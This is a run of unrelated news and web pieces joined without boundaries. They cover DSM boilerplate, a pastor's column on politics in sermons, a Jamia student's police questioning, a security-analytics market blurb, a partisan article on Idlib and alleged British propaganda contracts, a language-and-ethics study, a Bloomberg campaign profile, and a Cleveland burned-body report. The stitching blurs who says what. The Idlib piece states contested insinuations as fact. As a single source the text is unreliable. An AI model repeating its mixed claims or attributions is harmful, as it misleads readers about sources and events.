Sustainable Living. DSM's purpose is to create brighter lives for all. DSM addresses with its products and solutions some of the world's biggest challenges while simultaneously creating economic, environmental and societal value for all its stakeholders customers, employees, shareholders, and society at large. DSM delivers innovative solutions for human nutrition, animal nutrition, personal care and aroma, medical devices, green products and applications, and new mobility and connectivity. DSM and its associated companies deliver annual net sales of about 10 billion with approximately 23,000 employees. The company was founded in 1902 and is listed on Euronext Amsterdam. More information can be found at www.dsm.com. Forward-looking statements This press release may contain forward-looking statements with respect to DSM's future (financial) performance and position. Such statements are based on current expectations, estimates and projections of DSM and information currently available to the company. DSM cautions readers that such statements involve certain risks and uncertainties that are difficult to predict and therefore it should be understood that many factors can cause actual performance and position to differ materially from these statements. DSM has no obligation to update the statements contained in this press release, unless required by law. The English language version of the press release is leading. PRN NLD [ Back To TMCnet.com's Homepage ] Ask Dr. Land: Should pastors address political issues from the pulpit? Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Question: I've heard congregants complain that while they agree with their pastor on political issues, he talks too much about it and it's tiring. While other pastors are criticized by never talking about any political issues from the pulpit, with some saying that's not their gift. Should pastors of local churches talk about political issues from the pulpit? If so, when should they do so and on what issues? Historically, vast numbers of Americans have looked to their pastors for moral, as well as spiritual, leadership. This is still true for tens of millions of Americans of religious faith. And, in most cases, questions concerning the sanctity of human life, racism, human rights, sexism, and sexuality, for example, are of an entirely different level of moral significance than the politics of what are the most beneficial tax policies or the most prudent trade agendas. In a government of the people, by the people, for the people, such crucially important public policies cannot be entirely separated from the political process. The inevitable tension between the pastoral role as moral and spiritual leader and the ebb and flow of public policy and politics is one that pastors should seek to navigate prayerfully. As an ordained Baptist minister who has served in a pastoral role in almost a score of churches and has preached approximately 10,000 sermons over the past half century, this is a question I have struggled with, and helped scores of colleagues to wrestle with, over the past decades right up to the present day. When the issues confronting the congregation involve moral issues directly addressed by significant biblical teaching, then the pastor has a moral and pastoral obligation to share with his people the Bibles teachings on these issues. That does not necessarily mean that the pastor is obligated to, or should, speak to the specific public policy aspects of these issues in the vast majority of instances. In discussing the significant Scriptures concerning the sanctity of all human life, from conception to natural death and everywhere in between, one can assert, as I have on many occasions, that God is pro-life while at the same time making it clear that God, while pro-life, is neither a Republican or a Democrat. Similarly, the pastor can share with his people that racism in any form is anti-Gospel without discussing from the pulpit the particular merits or prudence of specific legislative proposals seeking to address particular injustices. This is also true of such issues as sexism, gender issues, stewardship of the creation, and religious liberty and freedom of conscience. For instance, it is one thing to say that all human life is sacred and should be revered, and it is another thing entirely to endorse specific legislative remedies addressing abortion and euthanasia from the pulpit. It is one thing to make it clear that God is no respecter of persons (Act. 10:34) and quite another to endorse specific legislation seeking to combat racism and sexism. If we are going to follow Dr. Martin Luther King Jr.s admonition that Christians and their churches should be spiritual thermostats, setting the moral climate of society, rather than being thermometers merely recording societys moral temperature, then we should focus on the biblical teaching while never completely ignoring the specific public policy alternatives and implications. How do we accomplish this? At this point I should probably note that for every sermon I have preached in a congregational context on the divinely assigned sacredness of every human life from conception onward (approximately 250 sermons), I have probably preached only five or six sermons that have contained specific policy recommendations (almost exclusively advocating overturning Roe v Wade and/or advocating support for a Human Life Amendment to the U.S. Constitution). My approach is that when it comes to specific public policy proposals or controversies, I deal with it in the following way. I explain to the congregation, either in my pastoral role or when I am a guest preacher (with the pastors permission), that after we have completed the morning or evening worship service and we have had the closing prayer, The worship service is now over. If you wish to leave, you are free to do so while we take a brief break. A group of people have asked for a briefing and a Q&A on public policy issues on the nations agenda. I will be staying for an hour to answer questions. Then I explain that I will come down from the pulpit to the floor level to illustrate that from this point on I am speaking from a much lower level of authority than when I was speaking from the pulpit and that they should take anything I say during the public policy briefing with that totally different level of authority in mind. In moving down to the floor level, I am attempting through visual imagery as well as verbal explanation to communicate that I have gone from a thus saith the Lord in the pulpit to I believe this is the best way forward on this issue from the floor level of the church auditorium. Such Q&A sessions are always done in response to requests from church members and they have been well received. I always make it clear at the outset that to equate God with any human institution, particularly one as flawed and as intensely human as either political party, is a form of blasphemy. I also make it clear that I do not believe that a church should ever endorse any candidate for office. We as Christians should be looking for candidates who endorse our convictions and our values. I still remember when Ronald Reagan, speaking as the Republican presidential candidate to the National Affairs briefing in Dallas in 1980, declared, I know you cannot endorse me. I am here to endorse you. The great communicator was right then, and he is right now. The question of the propriety of Christians in general and clergy in particular being involved in the nations public policy and political disputes has been controversial from our nations earliest days. A vigorous debate about that involvement helps ensure that a healthy and constitutional balance is maintained. More about that next week. A Jamia Millia Islamia University student, who was on Friday questioned by the Crime Branch of Delhi Police in connection with the violence at the varsity on December 15, said that the officers only asked him about his whereabouts at the time of the incident. Ali, a first-year M Tech student, was summoned for questioning in the matter. "They only asked where I was when the police entered the university and what happened with me. I answered all their questions," Ali told ANI after the questioning here on Friday. The student said that he was inside the campus when the police burst inside the varsity and lathi-charged the students. "When the police entered, I along with some other students tried to run as there were a lot of police officers lathi-charging. Afterwards, they detained us and took us to Kalkaji police station," he said. When asked about the CCTV footage which the police claims it used to identify students who took part in the violence, Ali said, "the police are releasing CCTV footage to prove they were right and the students are doing the same. People can only understand what really happened after the full CCTV footage is released." The Crime Branch had on Thursday issued notices to 10 Jamia students and asked them to appear before it for questioning in the December 15 violence that ensued at the varsity. On December 15, Delhi Police burst into the campus, threw teargas shells and allegedly assaulted students. The action followed a day of demonstration against the Citizenship Amendment Act (CAA) where some protesters -- which the university has maintained were outsiders and not students -- set buses and vehicles ablaze in Jamia Nagar area of South Delhi. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "Security Analytics Market by Application (Web Security, Network Security, Endpoint Security, and Application Security Analytics), Component, Deployment Mode, Organization Size, Industry Vertical, and Region - Global Forecast to 2024" report has been added to ResearchAndMarkets.com's offering. The global security analytics market is projected to grow from USD 7.8 billion in 2019 to USD 18.1 billion by 2024, at a Compound Annual Growth Rate (CAGR) of 18.2% during the forecast period. Major vendors include IBM (US), Cisco (US), Splunk (US), RSA (US), FireEye (US), HPE (US), McAfee (US), Symantec (US), LogRhythm (US), Huntsman Security (Australia), Securonix (US), Gurucul (US), Juniper Networks (US), Hillstone Networks (China), Exabeam (US), Rapid7 (US), Alert Logic (US), Forcepoint (US), Assuria (UK), and Haystax (US). The study included an in-depth competitive analysis of these key players with their company profiles, recent developments, and key growth strategies adopted by them. Growing demand to discover threat patterns, prioritization of network-based threats with actionable intelligence to avert data losses, and prevention of onward intrusion Security analytics solutions have expanded from rules-based detection to data science methods, such as Machine Learning (ML) and Artificial Intelligence (AI). This is in response to environmental factors, such as growing data volumes, infrastructure complexity, and the scarcity of skilled security professionals. Effective threat management requires security teams to combine security analytics with the abundance of machine-generated data that is prevalent in most enterprise environments. Tools, such as network traffic analysis, endpoint detection, Security Information and Event Management (SIEM), and User Behaviour Analytics (UBA) harvest this data and reveal who is doing what in the Information Technology (IT) environment, and when, and how they are doing it. Security analytics involves the collection, normalization, and analysis of data generated throughout the network. This means real-time data monitoring, actions taken by all users, applications, and systems connected to the network, placing those actions in the context of expected behavior, and sifting out suspicious or unexpected behavior that could indicate the exploitation of a security vulnerability. It further helps organizations by raising alerts on incidents that require further investigation so that solutions can be adopted in a timely and efficient manner. Therefore, security analytics is the key to gain actionable insights from raw information. Security analytics helps guide professionals to see where real-world threat vectors are originating from and can help prioritize the order in which the infrastructure and code are patched and hardened. Security analytics demonstrate the patterns of attempts and the patterns of successful actions, which offer professionals the opportunity to use the intelligence to defend and/or honey-pot attacks. On-premises deployment mode to witness higher growth rate during the forecast period On-premises deployment is the traditional approach to implement security analytics solutions across enterprises. On-premises solutions provide organizations with full control over all platforms and systems, which can be handled and managed by their own Information Technology (IT) staff. When data centers are housed onsite, applications handling data can be improved by adding new security updates that verify new virus signatures and provide countermeasures to deal with them. On-premises deployment remains the most flexible option, with respect to customization and analytics of data. The government and defense and Banking, Financial Services and Insurance (BFSI) sectors are likely to prefer on-premises security because they cannot risk losing sensitive data, financial records, accounting information, and money transfers. Security analytics solutions provide visibility at the on-premises endpoints and perform dynamic behavioral analytics on them. The major providers of on-premises-based endpoint security solutions are IBM, Cisco, and Splunk. By vertical, the banking, financial services and insurance segment to record the highest growth rate during the forecast period Banking, Financial Services and Insurance (BFSI) is an industry term for commercial banks, insurance institutes, and non-banking financial organizations that provide financial products and services. Service providers are expanding their offerings to maintain a competitive edge in the market, save costs, and improve customer experience with value-added services. BFSI and other financial institutions are upgrading cybersecurity solutions to protect the industry's employees, customers, assets, offices, branches, and operations, and to optimize against internal and external threats. The critical data, database, applications, and servers are under constant risk of being breached by attackers. The rise in the use of smart banking, internet banking, and mobile banking requires security analytics to be embedded in every micro and macro component of information systems in the BFSI sector. Employees and customers in financial institutions are demanding the convergence of various security solutions to design an integrated environment for secure and faster access to information, whenever and wherever required. Thus, banks need a multilayered security approach to deliver an authenticated and authorized experience to customers. Rise in the adoption of Bring Your Own Device (BYOD) trend, work from home, cloud storage data leaks, and fragile data center security have increased attacks on the BFSI infrastructure. Various government mandates, such as Personal Information Protection and Electronic Documents Act (PIPEDA), along with standards, including Payment Card Industry Data Security Standard (PCI DSS) and Sarbanes Oxley Act (SOX), require financial institutions to ensure endpoint security. An increase in Internet of Things (IoT) usage, sophisticated attacks, and enforcement of regulatory compliances are some of the drivers for the growth of the security analytics market in the BFSI sector. The large enterprise segment to hold a larger market size during the forecast period Enterprises with more than 1,000 employees are considered large enterprises. Large enterprises are one of the early adopters of security analytics solutions. They are faced with the troublesome task of effectively managing security on the diverse nature of IT infrastructure spread across the enterprise, most complex in nature. In addition to this, with the technological innovations and the rapid adoption of the BYOD culture, enterprises now not only have to protect the endpoints that are physically connected to enterprise networks but also have to manage their systems and endpoints that are interconnected to the enterprise network from a remote location. With the rising number of sophisticated attacks and to have a view of when and how end users are using the corporate data, the demand for security analytics solutions is on the rise in large enterprises. Asia Pacific to record the highest growth during the forecast period The Asia Pacific (APAC) region comprises emerging economies, such as India, China, Australia, Hong Kong, and Japan. Rapid economic developments in the region; globalization; favorable government policies, such as encouragement to foreign direct investments and increasing digitalization with interest toward technologies, such as Business Intelligence (BI), big data, and Internet of Things (IoT) are fueling the adoption of digital solutions across enterprises. Countries across this region are flooded with a large number of Small and Medium-sized Enterprises (SMEs), which account for the employment of more than 70% of the population. The huge cost associated with the successful deployment of adaptive security projects is restricting such SMEs from adopting a strong security analytics practice. However, factors such as continual growth in the mobile workforce, increasing complexity of businesses, and the unregulated nature of the internet are now expected to push such SMEs into adopting various security analytics solutions that combat advanced threats. Security spending in the APAC region is increasing significantly due to the ever-growing threat landscape. Traditional methods are no longer adequate to manage and mitigate advanced cyberattacks. Hence, security analytics vendors in this region are focusing on innovating their product line. They are developing pioneering security analytics products and technologies, enhancing features and functionalities of the existing security products, and integrating the traditional security solutions with the advanced technologies to offer comprehensive security analytics platforms. With the increasing number of cyberattacks and the growing cyber war between organizations and hackers, organizations and governments in the region are becoming aware of the need for robust cyber defense; hence, organizations have started adopting proactive security analytics solutions to combat cybersecurity issues. Market Dynamics Drivers Demand to Discover Patterns, Prioritization of Network-Based Threats with Actionable Intelligence to Avert Data Losses, and Prevention of Onward Intrusion Increasing Focus on Maintaining Regulatory Compliance Restraint Lack of Automation Opportunities Big Data Analytics and Cloud Infrastructure to be Imperative for Security Analytics Solutions Going Forward The Necessity of a Balanced Security Approach Challenge Lack of End-User Knowledge About Advanced Threats Industry Trends (Use Cases) To Proactively Detect and Prevent Cyberattacks To Increase Visibility Over Network and Fix the Inability to Resolve Security Incidents Quickly To Improve Security Operations in a Global Healthcare Provider Regulatory Implications General Data Protection Regulation Sarbanes-Oxley Act of 2002 Basel Governance, Risk, and Compliance European Union Data Protection Regulation Health Information Technology for Economic and Clinical Health Act Health Insurance Portability and Accountability Act Companies Profiled IBM Cisco Splunk RSA FireEye HPE McAfee Symantec LogRhythm Fortinet Huntsman Security Securonix Gurucul Juniper Networks Hillstone Networks Exabeam Rapid7 Alert Logic Forcepoint Assuria Haystax For more information about this report visit https://www.researchandmarkets.com/r/3hck5o Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. By Moon Of Alabama February 20, 2020 " Information Clearing House " - Russia has called Turkey's bluff of a wide ranging attack on Syrian government forces. The Turkish president Recep Tayyip Erdogan will now have to find a way out of the Idleb trap he set himself in. His excellent Syria adventure is coming to an end. Meanwhile we learn that the British military intelligence ran another large dis-information campaign that brought 'Syrian voices' into the 'western' press. Erdogan continues with his wild rhetoric over Syria. #ERDOGAN: "#Turkey cannot be confined within the 780,000 km2 border. #Misrata, #Aleppo, #Homs & #Hasaka are outside our actual borders, but they are within our emotional & physical limits, we will confront those who limit our history to only 90yrs." The Turkish talks with Russia have not gone well. Russia had proposed the following points: 1- 16-km border strip in Idlib under Turkey control 2- Russia controls crossing between Idlib strip and Afrin 3- M4 and M5 opened under joint Russian-Turkish supervision 4- Retreat of observation points to border strip Some ten of Turkey's observation points are currently surrounded by the Syrian army. If Turkey starts to escalate they will be in a dire situation. bigger Turkey rejected the Russian proposal: President Recep Tayyip Erdogan said on Feb. 19 that talks with Russia on the northwestern Syrian region of Idlib were far from meeting Turkey's demands and warned that a military operation there was a "matter of time". "As with all [previous] operations, we say 'we could suddenly come one night.' In other words, an Idlib operation is a matter of time," Erdogan said. He was referring to the previous three Turkish operations to northern Syria since 2016. "We are entering the last days for the [Syrian] regime to stop its hostility in Idlib. We are making our final warnings," he added. Turkey has made all preparations to carry out its own operation plans in Idlib." Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter Russia called a Turkish attack the worst case scenario: The Kremlin spokesman added that "if it is an operation against Syrias legitimate authorities and armed forces, it will definitely be the worst scenario." Russia will continue contacts with Turkey in order to prevent the situation in Idlib from escalating further, according to Peskov. "We are determined to continue to use our working contacts with our Turkish counterparts to prevent the situation in Idlib from escalating further," he said. Two hours after it published the above the Russian agency TASS also published this: Two Russian Tupolev Tu-22M3 strategic bombers have performed a scheduled flight over the neutral waters of the Black Sea, Russias Defense Ministry said in a statement on Wednesday. "During the flight, the crews covered a distance of about 4,500 km and stayed in the air for more than five hours," the statement runs. Fighter jets of Russias Southern Military District escorted the bombers during the flight. The Tu-22M3 can fire long range cruise missiles. The Turkish military will understand that warning. The Russians are also prodding Erdogan with reports about U.S. weapon deliveries to PKK-Kurds in east Syria: The US command in the region is intensively saturating the territory east of the Euphrates river with weapons and ammunition. Since the beginning of 2020, 13 military convoys have arrived from Iraq to Syria, which included over 80 armored vehicles and more than 300 trucks loaded with various types of weapons, ammunition and materiel, Rear Adm. Oleg Zhuravlev said in a daily briefing. Reports now speak of more than a million refugees in Idleb even as the pre-war population of Idleb governorate never exceeded 1.5 million. Many of those already fled during the early war either to government held areas or to Turkey and beyond. Where are the million reported now supposed to have come from? The 'western' media is again practicing tear jerking about these refugees in Idleb. But its reports forget to mention that al-Qaeda rules Idleb and that it prevents the people from crossing the line into Syrian government held areas: In yet another lengthy, expensive, lavishly illustrated story about Idlib, the NYT once again failed to make any mention of the politics of what is happening in that enclave of northwestern Syria namely, the fact that well-armed jihadist/takfiri fighters from all around the world have controlled it for the past several years, while Syrias government forces have been battling to regain control. In that latest article, as in all of the lengthy, one-sided tearjerkers it has published about Idlib over the past year, the NYT has no actual journalists or photographers on the ground reporting the story. It is wholly reliant instead on stories and footage it gathers from unverifiable sources inside the enclave sources who notably never include any mention of the jihadi armed groups that control all aspects of life there. Today we learn that many of these unverifiable sources have been on the British government payroll since at least 2012: A number of leaked documents seen by Middle East Eye show how the propaganda initiative began in 2012 and gathered pace the following year, shortly after the UK parliament refused to authorise British military action in Syria. Drawing upon British, American and Canadian funding, UK government contractors set up offices in Istanbul and Amman, where they hired members of the Syrian diaspora, who in turn recruited citizen journalists inside Syria. ... During 2015, Free Syria, Syrian Identity and Undermine were funded in both British pounds and Canadian dollars, with the equivalent of around 410,000 ($540,000) being spent each month. These 'sources' which were hired and instructed by the UK government are the ones quoted in 'western' papers. The whole scheme, like the British organized 'White Helmets', was run by military intelligence officers: Individuals familiar with the project say that around nine companies were invited to bid for the contracts. They included a number of firms established by former British diplomats, intelligence officers and army officers. Although the contracts were awarded by the UKs foreign office, they were managed by the countrys Ministry of Defence, and sometimes by military intelligence officers. These companies set up offices in Amman, Istanbul and, for a period, at Reyhanli in southeast Turkey. From here they would employ Syrians who would in turn recruit citizen journalists inside Syria, who were under the impression that they were working for the media offices of Syrian opposition groups. The British intelligence also hired journalists to write 'Syrian rebel' propaganda stories. Britain also organized and directed the opposition's spokespersons: Meanwhile, other leaked documents seen by MEE show that the British government had awarded contracts to communications companies, which selected and trained opposition spokespeople, ran press offices that operated 24 hours a day, and developed opposition social media accounts. British staff running these offices were told that their Syrian employees were permitted to talk to British journalists as spokespeople for the Syrian opposition but only after receiving clearance from officials at the British consulate in Istanbul. One of the responsibilities of the press offices set up covertly by the British government under the terms of these contracts was to maintain an effective network of correspondents/stringers inside Syria to report on MAO [moderate armed opposition] activity. In this way, the British government was able to exert behind-the-scenes influence over conversations that the UK media was having with individuals who presented themselves as Syrian opposition representatives. It wasn't just UK media who cited those persons. The whole 'civil opposition movement' was, like the 'White Helmets', a well organized and paid British government front. But when Turkey increased its role in Syria the British dis-information operation began to shut down: British government enthusiasm for much of the work appears to have begun to wane as it became increasingly clear that the Assad government and its Russian and Iranian allies were winning the civil war, and funding for contracts began to dry up. Early in 2019, the Free Syrian Police, a British-backed organisation, finally ceased operations following a militant takeover of Idlib province, much to the dismay of civilians and civil society activists. The Turkish government is also said to have become less tolerant of the propaganda initiatives being co-ordinated from its territory. One British contractor is understood to have been expelled after the Turkish authorities discovered she had entered the country on a tourist visa. That Turkey's government became less tolerant to the British operation may also explain the death of the British military intelligence officer who ran the 'White Helmets' propaganda group from his apartment in Istanbul. This article was published by "Moon Of Alabama"- Do you agree or disagree? Post your comment here ==See Also== Young adults dont always make great decisions. I myself did stupid things, which comes as a shock to my kids and husband, who know me as pretty, well, boring. Was my personality more reckless back then? Or could it have been because I lived much of life in a second language: French? Knowing another language broadens your opportunities: the people you can talk to, the items you can read, the films you can watch, the countries you can comfortably communicate in. But studies suggest that it can also have unintended consequences when it comes to decision-making. When language is learned and used in an emotional context, the emotional resonances accrue to the language, says Catherine Caldwell-Harris, an associate professor of psychology at Boston University and author of various papers on the effects of foreign languages. On the flip side, a foreign language probably hasnt had an opportunity to gain this emotional impact. Caldwell-Harris co-authored another study, currently under peer review, that posed ethical dilemmas to 52 university students in Turkey who spoke English and Turkish, and another 201 for comparison who only spoke Turkish. For example, say you worked for a pharmaceutical company that developed a drug that could make a lot of money but had potentially life-threatening side effects. Would you offer it to the public anyway? In a native language, more people said they would be ethical and not sell it. In a foreign language, more said they would. Caldwell-Harris deduces this is because the foreign-language participants did not feel the emotions that would censor them from doing the unethical thing. Read the whole story: The Washington Post As the world capital of high-stakes gambling, Las Vegas was an entirely fitting location for the richest person ever to run for the U.S. presidency to lay his claim to the White House. No, not Donald Trump but Michael Bloomberg, the multi-billionaire who tends to snort derisively whenever he hears the current president boast about his wealth and brilliant business career. For the former mayor of New York is both very rich (as the world's ninth richest man he has an estimated fortune of $62 billion) and full of loathing for Trump two facts that explain why he felt compelled to join the lengthy list of candidates vying for the Democrat presidential nomination. On Wednesday night, he made his first appearance in the televised debates, clashing with the five other leading contenders in Sin City just three days before the Nevada caucus on Saturday. No, not Donald Trump but Michael Bloomberg, the multi-billionaire who tends to snort derisively whenever he hears the current president boast about his wealth and brilliant business career Given he has been riding high in the polls on nothing more than his vast self-funded spending on political advertising more than $400 million so far and the implied insult that he's only running because he thinks the rest of the candidates are incapable of beating Trump, the others lined up to attack him. And, according to the pundits, it was certainly a mauling. Debating isn't Bloomberg's strong point and he appeared unprepared for the predictable barracking about his views on women, race and crime, and whether America needs another egotistical 70-something billionaire in the White House. However, America's political 'experts' often misjudge the mood and, judging by the callers jamming the switchboard of New York's public radio station yesterday, ordinary voters were rather more impressed with the new boy. But at a time when the Democrats are drifting to the Left self-described 'democratic socialist' Bernie Sanders is currently topping polls and their presidential contenders compete to be the most politically correct, Bloomberg, 78, is playing a sticky wicket. For the former mayor of New York is both very rich (as the world's ninth richest man he has an estimated fortune of $62 billion) and full of loathing for Trump (pictured in 2007) On Wednesday night, he made his first appearance in the televised debates, clashing with the five other leading contenders in Sin City It's not just his money which he made selling expensive financial data computer terminals to Wall Street. As New York's mayor, he cleaned up the city in various ways but controversially supported a 'stop and search' policy which was widely condemned as racist because it disproportionately targeted young black men. Bloomberg who needs to attract black and Hispanic voters to win has apologised, and did so again on Wednesday, but his opponents were unimpressed by his sincerity. They were similarly underwhelmed by his stilted response to another skeleton from his past his history of boorish and offensive comments about women. Female staff have described a misogynist culture at his company and some sued, with an estimated 17 accepting 'non-disclosure agreements' that barred them from discussing it. It's not just his money which he made selling expensive financial data computer terminals to Wall Street (pictured with Michelle Obama in 2009) Bloomberg who needs to attract black and Hispanic voters to win has apologised, and did so again on Wednesday, but his opponents were unimpressed by his sincerity (pictured with Donald Trump and Jared Kushner in 2013) One former saleswoman who sued Bloomberg and his company alleged he told her to 'kill it' when he learned she was pregnant. He denied her allegation under oath and reached a confidential settlement with her. When Bloom-berg insisted on Wednesday that none of them accused him of personally doing anything 'other than maybe they didn't like a joke I told', Left-wing firebrand Elizabeth Warren pressed him to release them there and then from their gagging orders. He declined. 'Democrats take a huge risk if we just substitute one arrogant billionaire for another,' warned Warren, who has campaigned fiercely to address America's growing economic inequality and had a very good night. 'I'd like to talk about who we're running against: a billionaire who calls women 'fat broads' and 'horse-faced lesbians,' she said. 'And, no, I'm not talking about Donald Trump, I'm talking about Mayor Bloomberg.' Her 'horse-faced lesbians' remark was extracted from a 32-page booklet 'The Wit and Wisdom of Michael Bloomberg' that his Wall Street colleagues and employees put together in 1990. It's stuffed full of off-colour jokes. Her 'horse-faced lesbians' remark was extracted from a 32-page booklet 'The Wit and Wisdom of Michael Bloomberg' that his Wall Street colleagues and employees put together in 1990 (pictured with Donald Trump) One quote attributed to him reads: 'If women wanted to be appreciated for their brains, they'd go to the library instead of to [department store] Bloomingdale's.' In another, he reportedly claimed at a meeting that his computer terminal would 'do everything' including oral sex, adding: 'I guess that puts a lot of you girls out of business.' He says he can't remember making the comments and, in mitigation, points out that sexism was rife in the financial services industry back then. Meanwhile, in his 1997 autobiography, Bloom-berg bragged that he kept 'a girlfriend in every city' during his years on Wall Street. He told a reporter at the time: 'I like theatre, dining and chasing women', describing his romantic life as a 'wet dream'. He has also repeatedly been accused of making crude and lewd comments, allegedly telling a former female employee, 'I would do you in a second,' and saying of another woman, 'I'd like to do that piece of meat'. He has also repeatedly been accused of making crude and lewd comments, allegedly telling a former female employee, 'I would do you in a second' Bloomberg has another big black mark against his name that was mentioned in Vegas he used to be a Republican (pictured in 2016) Critics say that 'Bloomy' sounds too much like Trump for a political party that has denounced the misogyny of a president who boasted about groping women. Bloomberg has another big black mark against his name that was mentioned in Vegas he used to be a Republican. Although previously a Democrat, he ran for New York mayor in 2001 as a Republican. He then became an independent and only registered as a Democrat in 2018. And as voters were reminded in Las Vegas, he endorsed Republican George W. Bush against John Kerry in 2004. Compounding his problems with voters looking for an antidote to Trump, Bloomberg is distinctly uncuddly. Lacking in warmth and charm, he is notoriously thin-skinned and repeatedly rolled his eyes as his opponents jabbed at him on Wednesday night. It all sounds fairly damning until one bears in mind that polls show that what matters to Democrat voters far more than anything is getting rid of Trump. Left-wingers can tie themselves in knots huffing and puffing about what Bloomberg did or didn't say to women 30 years ago but, say critics, they're taking their eye off the ball potentially fatally. For the Democrat heirarchy, Bloom-berg is the white knight, riding up with his huge money bags to save them from an American version of Jeremy Corbyn Bernie Sanders who despite his poll lead, is widely considered far too Left-wing to beat Trump. Lacking in warmth and charm, he is notoriously thin-skinned and repeatedly rolled his eyes as his opponents jabbed at him on Wednesday night Despite all the sneering from Left-wing rivals about Bloomberg 'buying his way' to the White House, the brutal fact is that money talks in American politics and self-funded presidential candidates can spend as much as they like. And Bloomberg has made clear he's prepared to spend whatever it takes. In January, he said he'd even spend $2billion to win the White House. (His aides also say he wouldn't accept the $400,000 presidential salary if he succeeds.) In January alone, his campaign announced yesterday that it had spent $220.6million. As well as shelling out on adverts (which reach more Americans than the televised debates), he is also conducting huge amounts of polling and hiring armies of staff. In fact, since stepping down as New York mayor in 2013, Bloomberg has spent billions of dollars building up his national profile and network of political allies. It's estimated that he's sunk more than $10 billion into philanthropy and politics, (including $3.3 billion to charity last year alone) particularly favourite causes such as climate change, gun control, abortion rights and tobacco regulation. As he travels around the country campaigning, there's no shortage of local Democrat politicians who, having benefited from his generosity in their own elections, are ready to share his podium. And so cynics claim his philanthropy is primarily designed to gain influence. The Queen gave the Anglophile Bloomberg an honorary knighthood in 2014 in recognition of nearly 51 million in charitable donations in the UK. As he travels around the country campaigning, there's no shortage of local Democrat politicians who, having benefited from his generosity in their own elections, are ready to share his podium Bloomberg supporters counter that he is just the sort of number-crunching technocrat and sensible moderate who exudes the sort of competence that will inspire voters after four years of chaotic Trump rule. 'As president I'll offer common sense plans and I will get it done,' was how Bloomberg phrased it in his usual monotone in Las Vegas. For his part, Trump is certainly taking Bloomberg seriously, dubbing him 'Little Michael' (Bloomberg is 5ft 7in), and clearly not relishing the possibility of having to debate with a man who could forensically pick apart his claims to have single-handedly revived the U.S. economy. Despite the best efforts of Bloomberg's critics, comparisons between the two tycoons only go so far. While Trump largely inherited his fortune from his property developer father, Bloomberg is the self-made son of a dairy company accountant from Massachusetts. An Eagle Scout with a passion for snakes, Bloomberg went to Harvard Business School and became an investment banker on Wall Street (pictured with Harvey Weinstein in 2014) An Eagle Scout with a passion for snakes, Bloomberg went to Harvard Business School and became an investment banker on Wall Street. Sacked as a partner of Salomon Brothers after the investment bank was bought out, he used his $10 million pay-off to set up Bloomberg in 1981. The business now employs more than 19,000 people in 69 countries. In 1975, he married Yorkshirewoman Susan Brown and they have two British daughters, Emma and Georgina, the latter a successful equestrian. The couple divorced amicably in 1993 and Bloomberg says Susan remains his 'best friend'. A former bachelor about town, he has been in a relationship with Diana Taylor, a former Wall Street executive and banking regulator, since 2000. Sacked as a partner of Salomon Brothers after the investment bank was bought out, he used his $10 million pay-off to set up Bloomberg in 1981 (pictured with Harvey Weinstein in 2013) Insiders say Bloomberg, both brash and jocular but also earnest and nerdy, is a man of contradictions. In his campaign for New York mayor he upheld the virtue of school prayers but simultaneously threw a 'Seven Deadly Sins' Christmas party in London in 2001, staffed by 600 people. Guests were invited to frolic on a purple satin bed, while other features included drag queens, massage tables and entertainers waving wads of cash and shouting, 'Money ain't it gorgeous?' Single-minded, self-confident and above all aggressive, he concedes that he almost always thinks he knows best. 'He's always been his hero,' said the co-author of his memoirs. He also has a notoriously fierce temper that he'll have to control during the campaign if he doesn't want to remind voters of Trump. (Bloomberg admitted he once slammed a door so hard that the latch broke, locking him in so he had to sheepishly ask colleagues to let him out.) Elected mayor in 2002, he only accepted a $1-a-year salary and didn't use the official residence that came with it. Not that he noticed it. A few years ago, he was estimated to own 14 homes around the world. They included two in London one in Knightsbridge and the other in Chelsea. Bloomberg bought the latter, a seven-bedroom mansion in Cheyne Walk that is the former home of author George Eliot, for 16 million in 2014 after paying 1 million more than the asking price. In New York, he lives in a five-floor mansion on Manhattan's Upper East Side. Other homes included three estates in the Hamptons, Long Island, and others in Colorado, Bermuda, Hong Kong and Paris. When he's not expanding his property portfolio, Bloomberg is also a keen pilot who has spent millions on a fleet of planes and helicopters. Bloomberg, who has mocked other Democrat candidates for apologising for just about everything, sounded a little chastened yesterday after his Wednesday night mauling. Campaigning in Utah, he said: 'You've all heard the slogan, 'Mike will get it done'. 'And, if you haven't, I've wasted a lot of money here.'Unfortunately for his Democrat opponents and perhaps Trump, too losing a lot of money doesn't seem to bother Michael Bloomberg. Weve had close to 900 candidates write to us so far, she said. We heard from a woman saying, Im a single working mom of two kids. We live on the poverty line and Im running for state senate. We heard from an Army vet who is disabled, who lives on $750 a month. Shes talking about how this is going to really change the face of her campaign. Were hearing from women who potentially could afford these clothes who say, I dont know how to dress for the campaign trail and it stresses me out. Firefighters in Ohio made a grisly discover on Wednesday morning after a burning body was found in grassland next to railway tracks. When emergency workers in Cleveland reached the the scene of the small fire in the citys Collinwood neighborhood, they found the body was missing its head, hands and feet. The dismembered body had been burned so badly that it was not even possible to determine the gender, let alone make any kind of positive identification. Cleveland police are investigating after the city's fire department found a dismembered burning body by railroad tracks Firefighters initially responded to reports of a brush fire near the train tracks The body was so badly disfigured it was impossible to determine the person's gender Sgt. Jennifer Ciaccia of Cleveland police say they have so far been unable to determine how the person died and have not revealed if they have any leads or suspects in the case according to Cleveland.com. The gruesome find was made just after 4am following a call from a nearby resident who contacted the police. The body was found on a small path between some homes that led to railway tracks. The area by the train tracks is notorious for cars being abandoned and burnt out Police had visited the area over the weekend after a man was robbed of his iPhone which showed it to be close by Some foliage had also been placed on top of the corpse in an attempt to ensure the body burned faster. Cleveland homicide detectives are investigating, according to Fox 8. The area where the body was found is notorious for burnt out cars being dumped and one such car was found 20ft away from victim. Police had also been to the area on Friday night after the victim of an armed robbery told police that his Find My iPhone app was directing cops to the same location, although no phone was ever recovered. When firefighters arrived on scene they found a dismembered corpse set alight The overall grade would be high for downtown Huntsville, according to an analysis study presented to Downtown Huntsville Inc. on Wednesday morning. Huntsville is "super well-prepared for the future," David Downey, the CEO of International Downtown Association, said in his presentation. "I think the study really vets that out." Downtown Huntsville Inc. commissioned the study by IDA which also held a branding and placemaking summit in Huntsville last year to follow up on a similar study conducted 8 years ago. "Keep doing what you're doing and go," Downey said in his conclusion. "Huntsville's great. I love it." Indeed, the ongoing revitalization of downtown Huntsville has been a source of civic pride 